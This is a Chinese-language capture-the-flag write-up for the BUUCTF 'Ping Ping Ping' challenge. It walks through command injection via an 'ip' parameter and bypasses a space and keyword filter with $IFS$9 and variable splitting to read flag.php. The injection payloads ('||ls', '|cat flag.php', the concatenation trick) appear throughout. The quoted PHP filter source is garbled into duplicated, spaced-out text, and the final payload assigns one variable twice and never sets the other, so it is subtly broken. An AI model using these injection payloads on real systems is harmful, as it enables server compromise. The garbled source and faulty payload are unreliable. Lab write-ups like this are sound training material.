一、题目
Ping Ping Ping
二、靶机信息链接
靶机信息
剩余时间: 10072s
http://70284b15-7c4e-4548-8b04-aadbc6e669f5.node4.buuoj.cn:81
三、靶机链接页面
四、 分析
因题目是Ping...
再加上靶机页面有“/?ip=”
可能是 ping地址,尝试按照所给的内容在url
中加入地址,如:http://70284b15-7c4e-4548-8b04-aadbc6e669f5.node4.buuoj.cn:81/?ip=192.168.0.1
。
4.1找文件
根据大佬解题的思路,我们来找文件,进行测试。
可以利用拼接命令,在/?ip=210.0.0.1后面用拼接符与查看命令连接起来
& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’
| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
; 分号表示命令依次执行。
尝试输入:/?Ip=210.0.0.1&&ls (ls:查找文件)
发现没有任何新的回显,应该是因为前面是假ping,所以后面的命令不执行
————————————————
尝试输入:/?Ip=210.0.0.1||ls
如上图,“||”会有效果—显示了两个后缀为“php”的文件名.
“|”
4.2文件名分析(显示文件内容)
在4.1
找文件测试中,发现flag.php
文件,或许我们要找的flag就在其中。通过显示文件内容指令cat
根据大佬的测试,我们也做了测试:/?ip=192.168.0.1|cat%20flag.php
通过大佬的分析得知是提示我们,空格被过滤了
4.3flag测试
拼接flag(使用“|”),测试发现flag也被过滤了。
4.4符号测试
符号也被过滤了
4.5
$IFS$9
并没有被过滤掉
`/?ip= /?ip= |‘|“|\|(|)|[|]|{|}/”, $ip, $match)){
echo preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|’|“|\|(|)|[|]|{|}/”,
$ip, $match);
die(“fxck your symbol!”); } else if(preg_match(“/ /”, $ip)){
die(“fxck your space!”); } else if(preg_match(“/bash/”, $ip)){
die(“fxck your bash!”); } else if(preg_match(“/.*f.*l.*a.g./”, $ip)){
die(“fxck your flag!”); } a = s h e l l e x e c ( " p i n g − c 4 " . a = shell_exec("ping -c 4 ". a=shellexec("ping−c4".ip); echo " "; print_r($a); }?>`
$IFS$9
:CTF中若space被过滤了,用来代表space以分割字符/单词。
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。
五、解决
既然flag
被过滤掉了,那我们就避开正则表达式的过滤。
间接地查看flag.php文件内容。
六、查看该文件
6.1法一
变量拼接字符串。
/?ip=210.0.0.1;b=ag.php;b=fl;cat$IFS$9$a$b